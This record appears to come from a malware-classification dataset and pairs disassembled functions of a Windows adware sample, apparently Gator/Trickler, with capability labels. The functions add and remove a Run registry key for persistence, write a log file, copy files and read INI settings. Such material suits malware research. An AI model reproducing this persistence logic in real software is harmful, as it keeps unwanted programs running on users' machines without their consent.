joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404df0
Capabilities:
Persist via run registry key

Disassembly:
mov al, byte [0x42fb58]
sub esp, 0x108
test al, al
push ebp
mov ebp, ecx
je 0x404e49
push 0
push 0x42fb58
call fcn.0040ca30
add esp, 8
or eax, eax
je 0x404e33
push 0x42fb58
push str.DeletedSpud___s_
call fcn.00407160
add esp, 8
mov byte [0x42fb58], 0
jmp 0x405018
push 0
push 0x337
mov ecx, ebp
call fcn.004066e0
pop ebp
add esp, 0x108
ret
push 0x200
push 0x42fc5c
call fcn.00406a50
add esp, 8
or eax, eax
jne 0x404e78
push 0x42fc5c
push 0x32c
push ebp
pop ecx
call fcn.004066e0
pop ebp
add esp, 0x108
ret
push 0x200
push 0x42fe5c
call fcn.00406b40
add esp, 8
or eax, eax
jne 0x404ea3
push eax
push 0x32e
mov ecx, ebp
call fcn.004066e0
pop ebp
add esp, 0x108
ret
push 1
mov ecx, ebp
call fcn.00406fb0
test eax, eax
je 0x405036
call fcn.0040a4f0
or eax, eax
push 0
je 0x404ed3
push 0x339
mov ecx, ebp
call fcn.004066e0
pop ebp
add esp, 0x108
ret
push str.Deleting
push str.softwareQwertyuioTrickler
push 0x80000002
call fcn.0040a070
add esp, 0x10
test eax, eax
je 0x404f1b
push str.App_was_already_in_Deleting_mode
mov dword [ebp + 0x14c], 1
call fcn.00407160
add esp, 4
push ebp
pop ecx
push 0
push 0x32b
call fcn.004066e0
pop ebp
add esp, 0x108
ret
push edi
call fcn.0040a4a0
push eax
call fcn.0040a700
push 0
push 1
call fcn.0040a5c0
push 0
push str.GetGator
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call fcn.0040a110
push eax
pop edi
add esp, 0x1c
or edi, edi
je 0x40500e
mov al, byte [edi]
push esi
cmp al, 0x22
mov esi, edi
jne 0x404f76
lea esi, [edi + 1]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov cl, byte [eax + esi - 1]
lea eax, [eax + esi - 1]
cmp cl, 0x22
jne 0x404f76
mov byte [eax], 0
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x42fb58
call esi
lea eax, [esp + 0x10]
push 0x42fb58
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [esp + 0x10]
push 0x429c84
push ecx
call esi
lea edx, [esp + 0x10]
push str._remove
push edx
call esi
push 0x42fb58
push str.CSpudDelete___s_
call fcn.00407160
lea eax, [esp + 0x14]
push 0
lea ecx, [esp + 0x1c]
push eax
push ecx
mov dword [esp + 0x20], 0
call fcn.0040d5e0
add esp, 0x14
test eax, eax
pop esi
je 0x404ff0
push 1
push 0x1e
push ebp
pop ecx
call fcn.004064e0
mov eax, 0x429578
jmp 0x404ff5
mov eax, str.Failed
mov edx, dword [esp + 8]
push edx
push eax
push str.CSpudDeleteExecRslt:__s__err_d_
call fcn.00407160
push edi
call fcn.0041b272
add esp, 0x10
mov al, byte [0x42fb58]
pop edi
test al, al
jne 0x405036
push 0x42fe5c
push 0x42fc5c
call fcn.00403cb0
add esp, 8
call fcn.00403cd0
push ebp
pop ecx
call fcn.00406770
pop ebp
add esp, 0x108
ret
Function at 0x4074e0
Capabilities:
Get common file path

Disassembly:
mov al, byte [0x43006c]
test al, al
jne 0x40751b
push 0x104
push 0x43006c
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x104
push 0x43006c
call fcn.0040ce70
add esp, 8
push str.GatorTrickler.log
push 0x43006c
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push esi
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push 0x43006c
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40754d
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov eax, esi
pop esi
ret

Function at 0x407560
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_WriteFile]
test ebx, ebx
je 0x40758b
lea eax, [esp + 0x18]
push 0
push eax
push ebx
call ebp
push eax
push ebx
push esi
call edi
mov ebx, dword [esp + 0x1c]
test ebx, ebx
je 0x4075b3
lea ecx, [esp + 0x18]
push 0
push ecx
push 1
push 0x429c84
push esi
call edi
lea edx, [esp + 0x18]
push 0
push edx
push ebx
call ebp
push eax
push ebx
push esi
call edi
lea eax, [esp + 0x18]
push 0
push eax
push 2
push 0x42a8b0
push esi
call edi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x408970
Capabilities:
Copy file

Disassembly:
push ebx
push ebp
push esi
push edi
push ecx
pop edi
mov eax, dword [edi + 0x46e0]
test eax, eax
je 0x4089ee
mov al, byte [edi + 0x26c0]
lea ebx, [edi + 0x26c0]
test al, al
je 0x4089ee
lea ebp, [edi + 0x2ec0]
push ebp
call fcn.0040ca00
add esp, 4
test eax, eax
je 0x4089ee
push ebx
lea esi, [edi + 0x3edc]
call fcn.0040a390
push eax
push 0x400
push esi
call fcn.0040cf70
add esp, 0x10
push 0
push esi
push ebp
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
or eax, eax
je 0x4089ee
push esi
push str.StoredFile
push edi
pop ecx
call fcn.00408190
push esi
push str.Stored__s
call fcn.00407160
add esp, 8
mov ecx, edi
call fcn.004180d0
push edi
pop ecx
call fcn.00408bb0
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x409250
Capabilities:
Copy file

Disassembly:
push esi
push ecx
pop esi
push edi
mov ecx, dword [esi]
or ecx, ecx
jne 0x409260
nop
pop edi
sub eax, eax
pop esi
ret
call fcn.00408650
test eax, eax
jne 0x40926c
pop edi
pop esi
ret
lea edi, [esi + 0x54]
push 0x42ae4c
push 0x104
push edi
call fcn.00409eb0
add esp, 0xc
or eax, eax
jne 0x409289
pop edi
pop esi
ret
mov eax, dword [esi]
push 0
add eax, 0x32c0
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
or eax, eax
jne 0x4092a1
pop edi
pop esi
ret
mov ecx, dword [esi]
call fcn.004180d0
pop edi
pushfd
xor eax, eax
inc eax
popfd
pop esi
ret
Function at 0x4092b0
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x108
push esi
push ecx
pop esi
lea eax, [esp + 0x110]
push edi
push eax
mov dword [esp + 0xc], esi
mov dword [esi + 0x5cc], 0
call fcn.0040a790
mov ecx, dword [esp + 0x118]
push ecx
push str.TI_map_AIC___s_
call fcn.00407160
push 0x8000
call fcn.0041b345
mov edi, eax
add esp, 0x10
or edi, edi
mov dword [esp + 0xc], edi
je 0x409497
push ebx
push ebp
lea ebp, [esi + 0x54]
push ebp
push 0x8000
push edi
push 0x430d7c
push 0
push 0x42aeb4
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
mov al, byte [edi]
mov ebx, edi
test al, al
je 0x409457
mov eax, dword [esi + 0x5cc]
test eax, eax
jne 0x409457
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
pop esi
cmp byte [esi + ebx - 1], 0x2a
jne 0x409361
mov eax, dword [esp + 0x11c]
lea edx, [esi - 1]
push edx
push ebx
push eax
call fcn.00423630
add esp, 0xc
jmp 0x409372
mov ecx, dword [esp + 0x11c]
push ebx
push ecx
call fcn.0041bfb0
add esp, 8
or eax, eax
je 0x40937f
lea ebx, [esi + ebx + 1]
jmp 0x409449
or ebx, ebx
push ebx
pop eax
jne 0x40938a
mov eax, 0x42fa7c
push eax
push str.TI_map_to___s_
call fcn.00407160
push 0x3f
pop ecx
push esi
pop esi
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push ebx
push 0x42aeb4
push ebp
stosb byte es:[edi], al
call fcn.0040a170
push eax
pop esi
add esp, 0x18
test esi, esi
je 0x4093e0
push esi
push str.brand_
lea edx, [esp + 0x20]
push 0x42ae94
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
push esi
call fcn.0041b272
add esp, 0x14
mov eax, dword [esp + 0x10]
push 0
push str._defaults
push ebp
lea esi, [eax + 0x158]
push esi
pop ecx
call fcn.004015d0
push 0
lea ecx, [esp + 0x1c]
push str.Inherit
push ecx
push ebp
call fcn.0040a170
push eax
pop edi
add esp, 0x10
test edi, edi
je 0x409428
push 1
push edi
push ebp
mov ecx, esi
call fcn.004015d0
push edi
call fcn.0041b272
add esp, 4
lea edx, [esp + 0x18]
push 2
push edx
push ebp
push esi
pop ecx
call fcn.004015d0
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x14]
mov dword [eax + 0x5cc], 1
mov al, byte [ebx]
mov esi, dword [esp + 0x10]
test al, al
jne 0x40932c
mov eax, dword [esi + 0x5cc]
pop ebp
test eax, eax
pop ebx
jne 0x40948c
mov eax, dword [esp + 0x118]
or eax, eax
je 0x40948c
mov ecx, dword [esp + 0x114]
mov edx, dword [esp + 0x11c]
push ecx
push str.AIC__s_
push edx
push eax
call fcn.0041b353
add esp, 0x10
push edi
call fcn.0041b272
add esp, 4
jmp 0x4094c0
mov eax, dword [esp + 0x118]
or eax, eax
je 0x4094c0
mov ecx, dword [esp + 0x114]
mov edx, dword [esp + 0x11c]
push ecx
push str.AIC__s___buf_alloc_err
push edx
push eax
call fcn.0041b353
add esp, 0x10
mov eax, dword [esi + 0x5cc]
test eax, eax
jne 0x4094d7
push str.TI_nomap
call fcn.00407160
add esp, 4
mov eax, dword [esi + 0x5cc]
pop edi
pop esi
add esp, 0x108
ret 0xc
Function at 0x409eb0
Capabilities:
Get common file path

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x409ee7
mov ecx, dword [esp + 0xc]
or ecx, ecx
je 0x409ee7
cmp dword [esp + 8], 0x104
jl 0x409ee7
push eax
push 0
push ecx
mov byte [eax], 0
call fcn.0040a340
push eax
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
test eax, eax
je 0x409ee7
pushfd
xor eax, eax
inc eax
popfd
ret
xor eax, eax
ret

Function at 0x409ef0
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x348
push ebx
push ebp
push esi
push edi
call fcn.0040a340
push eax
pop esi
mov eax, dword [esp + 0x35c]
test eax, eax
push esi
je 0x409fcf
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [esp + 0x118]
push eax
call edi
lea ecx, [esp + 0x114]
push 0x104
push ecx
call fcn.0040ce70
mov ebp, dword [sym.imp.KERNEL32.DLL_lstrcatA]
add esp, 8
lea edx, [esp + 0x114]
push 0x42b1bc
push edx
call ebp
lea eax, [esp + 0x218]
lea ecx, [esp + 0x114]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x409fd7
test byte [esp + 0x218], 0x10
jne 0x409faa
lea edx, [esp + 0x10]
push esi
push edx
call edi
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.0040ce70
add esp, 8
lea ecx, [esp + 0x244]
lea edx, [esp + 0x10]
push ecx
push edx
call ebp
lea eax, [esp + 0x10]
push 0
push eax
call fcn.0040ca30
add esp, 8
lea ecx, [esp + 0x218]
push ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
or eax, eax
jne 0x409f68
push ebx
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x348
ret
call fcn.0040caa0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x348
ret

Function at 0x40a170
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x400
push edi
mov ecx, 0xff
sub eax, eax
lea edi, [esp + 5]
mov byte [esp + 4], 0
mov edx, dword [esp + 0x414]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x408]
lea ecx, [esp + 4]
push eax
mov eax, dword [esp + 0x414]
push 0x400
push ecx
mov ecx, dword [esp + 0x418]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
lea edx, [esp + 4]
push 0x3b
push edx
call fcn.0041bb90
add esp, 8
or eax, eax
pop edi
je 0x40a1f5
lea ecx, [esp]
cmp eax, ecx
jb 0x40a1f5
mov cl, byte [eax]
cmp cl, 0x3b
je 0x40a1e9
cmp cl, 0x20
je 0x40a1e9
cmp cl, 9
jne 0x40a1f5
mov byte [eax], 0
dec eax
lea edx, [esp]
cmp eax, edx
jae 0x40a1d8
lea eax, [esp]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
call fcn.0041b345
mov esi, eax
add esp, 4
test esi, esi
je 0x40a21d
lea ecx, [esp + 4]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push esi
pop eax
pop esi
add esp, 0x400
ret

Function at 0x40a340
Capabilities:
Get common file path

Disassembly:
mov al, byte [0x4311b8]
test al, al
jne 0x40a38a
push 0x4311b8
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push 0x104
push 0x4311b8
call fcn.0040ce70
add esp, 8
push str.fsg_tmp
push 0x4311b8
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
push 0x4311b8
call fcn.0040cbf0
add esp, 8
mov eax, 0x4311b8
ret
Function at 0x40a5c0
Capabilities:
Persist via run registry key

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
sub ebp, ebp
push esi
push edi
or ebx, ebx
jne 0x40a5d5
call fcn.0040a4a0
mov ebx, eax
mov esi, dword [esp + 0x14]
push ebx
push esi
push str.StartWithWindows:__d__s
call fcn.00407160
add esp, 0xc
test esi, esi
push 0
je 0x40a660
push str.DontStartWithWindows
call fcn.00409ff0
add esp, 8
or eax, eax
jne 0x40a64c
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add eax, 0x32
push eax
call fcn.0041b345
mov esi, eax
add esp, 4
or esi, esi
je 0x40a659
push ebx
push 0x42b2c8
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
push esi
push str.Trickler
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call fcn.0040b170
push esi
mov edi, eax
call fcn.0041b272
add esp, 0x20
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
push str._t__Inhibited_by_test_setting
call fcn.00407160
add esp, 4
pop edi
push ebp
pop eax
pop esi
pop ebp
pop ebx
ret
push str.Trickler
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call fcn.0040a110
push eax
pop edi
add esp, 0x10
test edi, edi
je 0x40a6f5
mov al, byte [edi]
mov esi, edi
cmp al, 0x22
jne 0x40a688
lea esi, [edi + 1]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 1
jle 0x40a6a0
cmp byte [eax + esi - 1], 0x22
jne 0x40a6a0
mov byte [eax + esi - 1], 0
push esi
push ebx
call fcn.0041bfb0
add esp, 8
test eax, eax
jne 0x40a6d7
push str.Trickler
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call fcn.0040b2f0
add esp, 0xc
push eax
pop ebp
push edi
call fcn.0041b272
add esp, 4
push ebp
pop eax
pop edi
pop esi
pop ebp
pop ebx
ret
push edi
push str.StartWithWindows:_NOT_removing_app_startup:_Different_paths_____s_
call fcn.00407160
add esp, 8
push edi
call fcn.0041b272
add esp, 4
push ebp
pop eax
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
pushfd
xor eax, eax
inc eax
popfd
pop ebx
ret

Function at 0x40a7e0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x610
push esi
push edi
push 0x7f
pop ecx
nop
nop
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
mov esi, dword [esp + 0x620]
push 0x200
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov edx, dword [esp + 0x61c]
lea ecx, [esp + 8]
push ecx
push esi
push edx
lea eax, [esp + 0x214]
push str._s_t_lu_t_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x21c]
push ecx
push str.OldTrickler
push str.softwareQwertyuioTrickler
push 0x80000002
call fcn.0040b170
add esp, 0x24
pop edi
pop esi
add esp, 0x610
ret
Function at 0x40afb0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
push esi
push edi
mov edi, dword [esp + 0x18]
xor esi, esi
cmp ecx, esi
mov dword [edi], eax
je 0x40b02d
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x40b02d
cmp byte [eax], 0
je 0x40b02d
lea edx, [esp + 0x1c]
push edx
push 0x20019
push esi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b02d
mov edx, dword [esp + 0x14]
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x1c]
push edi
push ecx
push esi
push edx
push eax
mov dword [esp + 0x24], 4
mov dword [esp + 0x30], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40b022
cmp dword [esp + 0x18], 4
jne 0x40b022
pushfd
xor esi, esi
inc esi
popfd
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
ret

Function at 0x40b040
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
sub esi, esi
xor ebp, ebp
cmp ebx, esi
mov dword [esp + 0xc], ebp
je 0x40b056
mov dword [ebx], esi
mov ecx, dword [esp + 0x14]
cmp ecx, esi
je 0x40b161
mov eax, dword [esp + 0x18]
cmp eax, esi
je 0x40b161
cmp byte [eax], 0
je 0x40b161
lea edx, [esp + 0x18]
push edx
push 0x20019
push esi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0x40b161
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x20]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
lea ecx, [esp + 0x1c]
push esi
push ecx
mov dword [esp + 0x30], esi
mov dword [esp + 0x24], esi
push esi
mov esi, dword [esp + 0x30]
push esi
push edx
call edi
test eax, eax
jne 0x40b14e
mov eax, dword [esp + 0x24]
push eax
call fcn.0041b345
push eax
pop ebp
add esp, 4
or ebp, ebp
je 0x40b14a
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x1c]
push ebp
push edx
push 0
push esi
push eax
call edi
test eax, eax
jne 0x40b141
cmp dword [esp + 0x18], 3
jne 0x40b141
mov ecx, dword [esp + 0x24]
push ecx
call fcn.0041b345
add esp, 4
mov dword [ebx], eax
or eax, eax
je 0x40b141
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
sub eax, eax
push ebp
pop esi
mov dword [edx], ecx
mov edi, dword [ebx]
push ecx
pop edx
mov dword [esp + 0x10], 1
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x24]
mov edi, dword [ebx]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebp
call fcn.0041b272
add esp, 4
mov ebp, dword [esp + 0x10]
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
pop ecx
ret
mov eax, ebp
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x40b170
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 4]
push esi
push edi
sub edi, edi
or ecx, ecx
je 0x40b1e7
mov eax, dword [esp + 0x10]
or eax, eax
je 0x40b1e7
cmp byte [eax], 0
je 0x40b1e7
mov esi, dword [esp + 0x18]
test esi, esi
je 0x40b1e7
lea edx, [esp + 0x10]
push edx
lea edx, [esp + 0x10]
push edx
mov edx, dword [0x431e18]
push edx
push 0x20006
push edi
push edi
push edi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
or eax, eax
jne 0x40b1e7
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ecx, dword [esp + 0xc]
inc eax
push eax
mov eax, dword [esp + 0x18]
push esi
push 1
push edi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40b1dc
pushfd
xor edi, edi
inc edi
popfd
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
ret

Function at 0x40b1f0
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 4]
push esi
xor esi, esi
test ecx, ecx
je 0x40b25b
mov eax, dword [esp + 0xc]
or eax, eax
je 0x40b25b
cmp byte [eax], 0
je 0x40b25b
lea edx, [esp + 0xc]
push edx
lea edx, [esp + 0xc]
push edx
mov edx, dword [0x431e18]
push edx
push 0x20006
push esi
push esi
push esi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40b25b
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 8]
lea eax, [esp + 0x14]
push 4
push eax
push 4
push esi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
or eax, eax
jne 0x40b250
pushfd
xor esi, esi
inc esi
popfd
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
pop eax
pop esi
ret

Function at 0x40b260
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 4]
push ebx
push esi
sub esi, esi
test ecx, ecx
push edi
je 0x40b2dc
mov eax, dword [esp + 0x14]
or eax, eax
je 0x40b2dc
cmp byte [eax], 0
je 0x40b2dc
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x40b2dc
mov ebx, dword [esp + 0x20]
cmp ebx, 0x3fac
ja 0x40b2dc
lea edx, [esp + 0x14]
push edx
lea edx, [esp + 0x14]
push edx
mov edx, dword [0x431e18]
push edx
push 0x20006
push esi
push esi
push esi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
or eax, eax
jne 0x40b2dc
mov ecx, dword [esp + 0x10]
push ebx
push edi
push 3
push eax
mov eax, dword [esp + 0x28]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40b2d1
mov esi, 1
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
pop eax
pop edi
pop esi
pop ebx
ret
Function at 0x40b2f0
Capabilities:
Delete registry value

Disassembly:
mov ecx, dword [esp + 4]
push esi
xor esi, esi
or ecx, ecx
je 0x40b341
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40b341
cmp byte [eax], 0
je 0x40b341
lea edx, [esp + 8]
push edx
push 0x20006
push esi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0x40b341
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 8]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [esp + 8]
mov esi, eax
neg esi
sbb esi, esi
push edx
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
pop eax
pop esi
ret
Function at 0x40b6f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
push esi
xor esi, esi
push edi
test ecx, ecx
je 0x40b761
mov eax, dword [esp + 0x10]
or eax, eax
je 0x40b761
cmp byte [eax], 0
je 0x40b761
mov edi, dword [esp + 0x14]
or edi, edi
je 0x40b761
cmp byte [edi], 0
je 0x40b761
lea edx, [esp + 0x10]
push edx
push 0x20019
push esi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0x40b761
mov ecx, dword [esp + 0x10]
push eax
mov dword [esp + 0x10], eax
push eax
lea eax, [esp + 0x14]
push eax
push esi
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
or eax, eax
jne 0x40b756
mov eax, dword [esp + 0xc]
xor edx, edx
or eax, eax
setne dl
push edx
pop esi
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
pop eax
pop edi
pop esi
ret

Function at 0x40b7d0
Capabilities:
Query or enumerate registry key

Disassembly:
mov edx, dword [esp + 8]
push edi
sub eax, eax
push 6
pop ecx
push edi
pop edi
push edx
pop edi
push eax
rep stosd dword es:[edi], eax
push eax
lea eax, [edx + 0x14]
push eax
lea ecx, [edx + 0x10]
lea eax, [edx + 0xc]
push ecx
push eax
lea ecx, [edx + 4]
push 0
push ecx
push edx
mov edx, dword [esp + 0x28]
push 0
push 0
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
neg eax
sbb eax, eax
pop edi
inc eax
ret

Function at 0x40b810
Capabilities:
Query or enumerate registry key

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x34
push esi
sub esi, esi
or eax, eax
je 0x40b8f6
mov ecx, dword [esp + 0x44]
test ecx, ecx
je 0x40b8f6
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 4]
push ecx
push 0x20019
push esi
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b8f6
mov ecx, dword [esp + 4]
push ebx
lea eax, [esp + 0x24]
push ebp
push eax
push ecx
call fcn.0040b7d0
add esp, 8
or eax, eax
je 0x40b8e2
mov edx, dword [esp + 0x2c]
lea ebx, [edx + 1]
push ebx
call fcn.0041b345
push eax
pop ebp
add esp, 4
test ebp, ebp
je 0x40b8e2
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x48]
push edi
mov dword [esp + 0x14], ebx
sub edi, edi
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], ebp
pushfd
xor esi, esi
inc esi
popfd
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x18]
push edx
push 0
push 0
lea eax, [esp + 0x20]
push 0
push eax
push ebp
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
or eax, eax
jne 0x40b8d8
mov edx, dword [esp + 0x54]
lea eax, [esp + 0x20]
push edx
push eax
call dword [esp + 0x58]
add esp, 8
mov esi, eax
inc edi
mov dword [esp + 0x14], ebx
or esi, esi
jne 0x40b89b
push ebp
call fcn.0041b272
add esp, 4
pop edi
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
push esi
pop eax
pop ebx
pop esi
add esp, 0x34
ret
mov eax, esi
pop esi
add esp, 0x34
ret